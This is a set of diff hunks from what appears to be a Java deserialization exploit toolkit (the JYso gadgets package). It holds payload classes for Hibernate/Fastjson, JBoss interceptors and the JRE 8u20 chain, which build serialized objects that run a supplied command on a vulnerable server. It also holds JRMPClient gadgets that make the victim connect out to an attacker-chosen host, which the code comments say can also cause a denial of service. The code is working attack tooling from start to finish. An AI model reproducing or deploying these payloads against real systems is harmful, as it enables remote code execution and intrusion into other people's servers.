import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
|
||||
CtClass serializable = pool.get("java.io.Serializable");
|
||||
driverconimpl.addInterface(serializable);
|
||||
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
|
||||
insertField(driverconimpl, "url", "private String url;");
|
||||
insertField(driverconimpl, "poolSize", "private int poolSize;");
|
||||
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
|
||||
|
||||
|
||||
CtMethod make = CtMethod.make(
|
||||
"public void configure(java.util.Map configurationValues) { " +
|
||||
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
|
||||
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
|
||||
"this.pool = new java.util.ArrayList();" +
|
||||
"}", driverconimpl);
|
||||
driverconimpl.addMethod(make);
|
||||
|
||||
|
||||
Class<?> clazz = driverconimpl.toClass();
|
||||
Object o1 = clazz.newInstance();
|
||||
HashMap<Object, Object> map1 = new HashMap<>();
|
||||
map1.put("hibernate.connection.url", command);
|
||||
map1.put("hibernate.connection.pool_size", "0");
|
||||
|
||||
clazz.getMethod("configure", Map.class).invoke(o1, map1);
|
||||
|
||||
return getFastjsonSink(o1);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,106 +1,106 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.jre.*;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.beans.beancontext.BeanContextChild;
|
||||
import java.beans.beancontext.BeanContextSupport;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.Starter.JYsoMode;
|
||||
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
@Dependencies
|
||||
@Authors({"frohoff"})
|
||||
public class JRE8u20 implements ObjectPayload<Object> {
|
||||
|
||||
public static Object makeTemplates(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
return templates;
|
||||
}
|
||||
|
||||
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
|
||||
TCObject handler = new TCObject(ser) {
|
||||
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
|
||||
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
||||
super.doWrite(new DataOutputStream(byteout), handles);
|
||||
byte[] bytes = byteout.toByteArray();
|
||||
out.write(bytes, 0, bytes.length - 1);
|
||||
}
|
||||
};
|
||||
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
|
||||
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
|
||||
desc.addField(new TCClassDesc.Field("type", Class.class));
|
||||
TCObject.ObjectData data = new TCObject.ObjectData();
|
||||
data.addData(map);
|
||||
data.addData(Templates.class);
|
||||
handler.addClassDescData(desc, data);
|
||||
return handler;
|
||||
}
|
||||
|
||||
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
|
||||
TCObject obj = new TCObject(ser);
|
||||
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
|
||||
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
|
||||
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
|
||||
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
|
||||
beanContextSupportData.addData(1);
|
||||
beanContextSupportData.addData(handler);
|
||||
beanContextSupportData.addData(0, true);
|
||||
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
|
||||
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
|
||||
beanContextChildSupportData.addData(obj);
|
||||
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
|
||||
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
|
||||
return obj;
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Serialization ser = new Serialization();
|
||||
Object templates = makeTemplates(command);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
map.put("f5a5a608", templates);
|
||||
TCObject handler = makeHandler(map, ser);
|
||||
TCObject linkedHashset = new TCObject(ser);
|
||||
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
|
||||
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
|
||||
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
|
||||
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
|
||||
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
|
||||
hashsetData.addData(makeBeanContextSupport(handler, ser));
|
||||
hashsetData.addData(10, true);
|
||||
hashsetData.addData(1.0F, true);
|
||||
hashsetData.addData(2, true);
|
||||
hashsetData.addData(templates);
|
||||
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||
hashsetData.addData(proxy);
|
||||
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
||||
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
||||
ser.addObject(linkedHashset);
|
||||
|
||||
if (JYsoMode) {
|
||||
ser.write(System.out);
|
||||
System.exit(0);
|
||||
}
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ser.write(out);
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.jre.*;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.beans.beancontext.BeanContextChild;
|
||||
import java.beans.beancontext.BeanContextSupport;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.Starter.JYsoMode;
|
||||
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
@Dependencies
|
||||
@Authors({"frohoff"})
|
||||
public class JRE8u20 implements ObjectPayload<Object> {
|
||||
|
||||
public static Object makeTemplates(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
return templates;
|
||||
}
|
||||
|
||||
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
|
||||
TCObject handler = new TCObject(ser) {
|
||||
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
|
||||
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
||||
super.doWrite(new DataOutputStream(byteout), handles);
|
||||
byte[] bytes = byteout.toByteArray();
|
||||
out.write(bytes, 0, bytes.length - 1);
|
||||
}
|
||||
};
|
||||
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
|
||||
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
|
||||
desc.addField(new TCClassDesc.Field("type", Class.class));
|
||||
TCObject.ObjectData data = new TCObject.ObjectData();
|
||||
data.addData(map);
|
||||
data.addData(Templates.class);
|
||||
handler.addClassDescData(desc, data);
|
||||
return handler;
|
||||
}
|
||||
|
||||
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
|
||||
TCObject obj = new TCObject(ser);
|
||||
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
|
||||
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
|
||||
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
|
||||
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
|
||||
beanContextSupportData.addData(1);
|
||||
beanContextSupportData.addData(handler);
|
||||
beanContextSupportData.addData(0, true);
|
||||
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
|
||||
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
|
||||
beanContextChildSupportData.addData(obj);
|
||||
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
|
||||
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
|
||||
return obj;
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Serialization ser = new Serialization();
|
||||
Object templates = makeTemplates(command);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
map.put("f5a5a608", templates);
|
||||
TCObject handler = makeHandler(map, ser);
|
||||
TCObject linkedHashset = new TCObject(ser);
|
||||
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
|
||||
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
|
||||
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
|
||||
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
|
||||
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
|
||||
hashsetData.addData(makeBeanContextSupport(handler, ser));
|
||||
hashsetData.addData(10, true);
|
||||
hashsetData.addData(1.0F, true);
|
||||
hashsetData.addData(2, true);
|
||||
hashsetData.addData(templates);
|
||||
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||
hashsetData.addData(proxy);
|
||||
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
||||
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
||||
ser.addObject(linkedHashset);
|
||||
|
||||
if (JYsoMode) {
|
||||
ser.write(System.out);
|
||||
System.exit(0);
|
||||
}
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ser.write(out);
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,73 +1,73 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.ByteUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.beans.beancontext.BeanContextSupport;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class JRE8u20_2 implements ObjectPayload<Object> {
|
||||
public static Class newInvocationHandlerClass() throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
|
||||
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
|
||||
" os.defaultWriteObject();\n" +
|
||||
" }", clazz);
|
||||
clazz.addMethod(writeObject);
|
||||
return clazz.toClass();
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
Class ihClass = newInvocationHandlerClass();
|
||||
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
|
||||
|
||||
Reflections.setFieldValue(ih, "type", Templates.class);
|
||||
Templates proxy = createProxy(ih, Templates.class);
|
||||
|
||||
BeanContextSupport b = new BeanContextSupport();
|
||||
Reflections.setFieldValue(b, "serializable", 1);
|
||||
HashMap tmpMap = new HashMap<>();
|
||||
tmpMap.put(ih, null);
|
||||
Reflections.setFieldValue(b, "children", tmpMap);
|
||||
|
||||
|
||||
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
|
||||
set.add(b);
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
HashMap hm = new HashMap();
|
||||
hm.put("f5a5a608", templates);
|
||||
Reflections.setFieldValue(ih, "memberValues", hm);
|
||||
|
||||
byte[] ser = Serializer.serialize(set);
|
||||
|
||||
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
||||
|
||||
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
||||
|
||||
return ser;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.ByteUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.beans.beancontext.BeanContextSupport;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class JRE8u20_2 implements ObjectPayload<Object> {
|
||||
public static Class newInvocationHandlerClass() throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
|
||||
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
|
||||
" os.defaultWriteObject();\n" +
|
||||
" }", clazz);
|
||||
clazz.addMethod(writeObject);
|
||||
return clazz.toClass();
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
Class ihClass = newInvocationHandlerClass();
|
||||
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
|
||||
|
||||
Reflections.setFieldValue(ih, "type", Templates.class);
|
||||
Templates proxy = createProxy(ih, Templates.class);
|
||||
|
||||
BeanContextSupport b = new BeanContextSupport();
|
||||
Reflections.setFieldValue(b, "serializable", 1);
|
||||
HashMap tmpMap = new HashMap<>();
|
||||
tmpMap.put(ih, null);
|
||||
Reflections.setFieldValue(b, "children", tmpMap);
|
||||
|
||||
|
||||
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
|
||||
set.add(b);
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
HashMap hm = new HashMap();
|
||||
hm.put("f5a5a608", templates);
|
||||
Reflections.setFieldValue(ih, "memberValues", hm);
|
||||
|
||||
byte[] ser = Serializer.serialize(set);
|
||||
|
||||
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
||||
|
||||
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
||||
|
||||
return ser;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,66 +1,66 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
||||
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
||||
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
||||
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
* <p>
|
||||
* Thread.start()
|
||||
* DGCClient$EndpointEntry.<init>(Endpoint)
|
||||
* DGCClient$EndpointEntry.lookup(Endpoint)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
* <p>
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
* <p>
|
||||
* Argument:
|
||||
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
||||
* <p>
|
||||
* Yields:
|
||||
* * an established JRMP connection to the endpoint (if reachable)
|
||||
* * a connected RMI Registry proxy
|
||||
* * one system thread per endpoint (DOS)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JRMPClient implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
String host;
|
||||
int port;
|
||||
int sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = new Random().nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.parseInt(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
||||
Registry.class
|
||||
}, obj);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
||||
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
||||
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
||||
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
* <p>
|
||||
* Thread.start()
|
||||
* DGCClient$EndpointEntry.<init>(Endpoint)
|
||||
* DGCClient$EndpointEntry.lookup(Endpoint)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
* <p>
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
* <p>
|
||||
* Argument:
|
||||
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
||||
* <p>
|
||||
* Yields:
|
||||
* * an established JRMP connection to the endpoint (if reachable)
|
||||
* * a connected RMI Registry proxy
|
||||
* * one system thread per endpoint (DOS)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JRMPClient implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
String host;
|
||||
int port;
|
||||
int sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = new Random().nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.parseInt(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
||||
Registry.class
|
||||
}, obj);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,38 +1,38 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.activation.Activator;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({"mbechler"})
|
||||
public class JRMPClient_Activator implements ObjectPayload<Activator> {
|
||||
@Override
|
||||
public Activator getObject(String command) throws Exception {
|
||||
UnicastRef ref = JRMPSource(command);
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
|
||||
}
|
||||
|
||||
static UnicastRef JRMPSource(String command) {
|
||||
String host;
|
||||
int port, sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = (new Random()).nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.parseInt(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID((new Random()).nextInt());
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
return new UnicastRef(new LiveRef(id, te, false));
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.activation.Activator;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({"mbechler"})
|
||||
public class JRMPClient_Activator implements ObjectPayload<Activator> {
|
||||
@Override
|
||||
public Activator getObject(String command) throws Exception {
|
||||
UnicastRef ref = JRMPSource(command);
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
|
||||
}
|
||||
|
||||
static UnicastRef JRMPSource(String command) {
|
||||
String host;
|
||||
int port, sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = (new Random()).nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.parseInt(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID((new Random()).nextInt());
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
return new UnicastRef(new LiveRef(id, te, false));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({"mbechler"})
|
||||
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
|
||||
@Override
|
||||
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
|
||||
UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
|
||||
return new RemoteObjectInvocationHandler(ref);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({"mbechler"})
|
||||
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
|
||||
@Override
|
||||
